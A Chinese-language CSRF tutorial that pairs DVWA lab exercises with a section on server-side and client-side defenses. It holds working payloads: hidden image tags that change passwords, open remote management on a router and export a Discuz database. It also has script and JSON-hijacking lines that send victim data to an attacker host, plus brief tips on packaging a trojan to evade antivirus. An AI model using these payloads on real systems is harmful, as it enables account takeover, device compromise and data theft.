CSRF跨站请求伪造
理论：
1.定义：
csrf跨站请求伪造，是一种对网站的恶意利用，与xss跨站脚本攻击的区别是
xss是利用站内的信用用户进行攻击，但是csrf是通过获取受信任用户的请求，使攻击者伪造自己成为信任用户，进而发起攻击。
XSS：
是由于输入检测不严格
注入js代码
csrf:
网站的恶意利用
伪造用户请求
2.工作原理：
1.用户浏览并登录了信任网站A
2.此时验证通过，就会在用户处产生受信任网站A的cookie
3.接着用户在没有登录网站A的情况下，访问了威胁网站B
4.此时威胁网站B要求访问第三方网站A，发出了一个request请求
5.接着根据4中的请求，浏览器就会带着2中产生的cookie访问A
6.此时A不知道5中的访问请求是用户发出的，还是威胁网站B发出的，浏览器会自动带用户的cookie ，所以网站A就会使用用户的权限处理5的请求，这样网站B就成功模拟用户访问A网站，并进行操作。
3.完成一次csrf攻击，受害者必须完成的两个步骤：
1.登录受信任网站，并在本地生成cookie
2.在不登出A的情况下，访问危险网站B
实验一 （修改密码案例）
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
此时构造攻击页面：
<img src=” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98#
” border=”0” style=”display:none;” >
<h1>404<h1>
<h2>file not found<h2>
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/csrf.html
192.168.1.10是第三方服务器的地址
当用户点击该链时，密码被修改。
实验二 （修改密码案例）
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
查看代码，发现服务器端使用stripos()函数判断变量HTTP——referrer中的referer参数值，表示来源地址，是否包含server_name(http头的host参数即访问的主机名)
通过这种方法来防御csrf攻击
此时构造攻击页面SERVER_NAME.html
<img src =” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98# ” border =” 0” style =”显示：无；” >
<h1>404<h1>
<h2>file not found<h2>
其中server_name为dvwa平台的IP地址
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/server_name.html
192.168.1.10是第三方服务器的地址\server_name是dvwa的ip地址
当用户点击该链时，密码被修改。
实验三（修改密码案例）
接用 burp 抓包把http://127.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到 referer
里面，点击转发数据包，发现密码修改成功
也就是说，在构造攻击代码的时候，要将攻击代码修改成refer为站点refer的，之后再结合其他手法进行嵌入
修改密码案例防御. CSRF 直接判断旧密码是否正确了,这样在不知用户原有密码的情况下，不管是否存在 CSRF， 你都是无效的。
实验四：本地网络设备csrf攻击：
一般情况下，外网不可以访问，交换机等硬件也是，如果想访问内网设备，应该怎么办呢，注意，内网设备很多是默认密码的
首先，模拟正常用户身份登录，进入到路由器中开启web管理端口，再用burp抓包，抓取得到地址
<img
src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=
%B1%A3+%B4%E6>
将这个攻击代码插入到想插入的地方，欺骗对方企业访问这个地址，访问之后对方设备的远程web管理端口就打开了
这段攻击代码三个功能，先开启80端口，把远程web管理IP地址改成255.255.255.255，保存
注意在登录状态，被攻击者访问了带有 CSRF 攻击代码的网页时，就“被迫”开启了“远
程 WEB 管理”功能
使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。
FAST 无线宽带路由器的 WEB 管理的默认用户名与密码：admin。
实验五：无需浏览器案例：
将攻击代码嵌入到自解压选项中
补充
在做免杀的时候也可以使用这个功能做自解压木马干掉杀毒软件
可以把一个木马进行拆分
先把注册表导入形式拆分
内存部分再拆分
启动项拆分导入形式
最后加一个自动.exe形式
实验六 （快速脱库案例）
dscuz中注册一个普通用户
模拟用户发帖
在帖子里 添加一个网络图片
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa
当管理员访问此贴时，只看到一张未正常显示的图片
网页加载图片的 URL就是管理员在数据备份时所访问的 URL 用管理员账号登录查看消息（在管理模式下） 他的数据库就被备份了
攻击者直接在默认路径下载备份好的数据库就可以了
CSRF 蠕虫模型
同域内 CSRF 攻击获取数据几乎没任何限制
跨域 CSRF 攻击获取数据的几种方法总结如下
1、XSS
使用目标站点上的 XSS 漏洞
> <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script
> src=http://恶意站点/get.js></script>’></iframe>
http://恶意站点/get.js 的代码是：
//use DOM method to get your data
new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;
恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点
url 对应的内容中的。
2、服务端代理技术
3、JSON Hijacing
使用 JSON Hijacking 技术：
目标站点使用了 JSON 数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
< script > function hijack（o）{ //使用DOM方法获取数据 新Image（）。src =“ http://192.168.1.2/JSONHiJack.asp?hi=” + escape（data）; } </ script > <script src = http：//api.fanfou.com/private_messages/inbox.json？callback = hijack＆count = 2> </ script >
4、Flash AsctionScript（crossdomain.xml）
使用 Flash ActionScript 脚本
目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS
脚本进行跨域请求
万用符*
要获取的关键数据是唯一标识
用户 id、用户昵称、用户 email、用户个人页面地址等
csrf防范
服务端防御：
- 验证 HTTP Referer 字段
根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地
址。在通常情况下，访问一个安全受限页面的请求必须来自于同一个网站
比如某银行的转账是通过用户访问 http://bank.test/test?page=10&userID=101&money=10000 页面完成，用户必须先登录 bank. test，然后通过点击页面上的按钮来触发转账事件。
当用户提交请求时，该转账请求的 Referer 值就会是转账按钮所在页面的 URL（本例中，通常是以 bank. test 域名开头的地址）。
而如果攻击者要对银行网站实施 CSRF 攻击，他只能在自己的网站构造请求，当用户通过攻击者的网站发送请求到银行时，该请求的 Referer 是指向攻击者的网站。因此，要防御 CSRF 攻击，银行网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank. test 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，就有可能是 CSRF 攻击，则拒绝该请求。
2.在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功，是因为攻击者可以伪造用户的请求，该请求中所有的用户验证信息都存在于 Cookie 中，因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。
由此可知，抵御 CSRF 攻击的关键在于：在请求中放入攻击者所不能伪造的信息，并且该信息不存在于 Cookie 之中。鉴于此，系统开发者可以在 HTTP请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。
- 在 HTTP 头中自定义属性并验证
自定义属性的方法也是使用 token 并进行验证，和前一种方法不同的是，这里并不是把 token以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。
通过XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便，同时，通过这个类请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会通过 Referer 泄露到其他网站
4.在服务端区严格区分好 POST 与 GET 的数据请求
如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作，如： http://www.yeeyan.com/space/deleteEvent/16824。
5.使用验证码或者密码确认方式进行
这种方法很有效，但是用户体验就差了些。
例如要改密码必须输入验证码或原有密码
用户端的防御
对于普通用户来说，都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户养成良好的上网习惯，则能够很大程度上减少 CSRF 攻击的危害。
系统管理员 ，最最最最最重要的一位用户，应尽量在登出系统的情况下点击未知链接和图片。除此之外，用户还需要在连接互联网的计算机上安装合适的安全防护软件，并及时更新软件厂商发布的特征库，以保持安全软件对最新攻击的实时跟踪。
安全设备的防御
由于从漏洞的发现到补丁的发布需要一定的时间，而且相当比例的厂商对漏洞反应不积极，再加之部分系统管理员对系统补丁的不够重视，这些都给了攻击者可乘之机。鉴于上述各种情况，用户可以借助第三方的专业安全设备加强对 CSRF 漏洞的防御。
CSRF 攻击的本质是攻击者伪造了合法的身份，对系统进行访问。如果能够识别出访问
者的伪造身份，也就能识别 CSRF 攻击。研究发现，有些厂商的安全产品能基于硬件层面对
HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。目前 H3C 公司的 IPS 产品采用了特殊技术，支持对部分常用系统的 CSRF 漏洞攻击进行检测和阻断
防御方式
是先对网络流量与特征库的特征码进行匹配
命中特征
上报攻击日志
没有命中特征
流量放行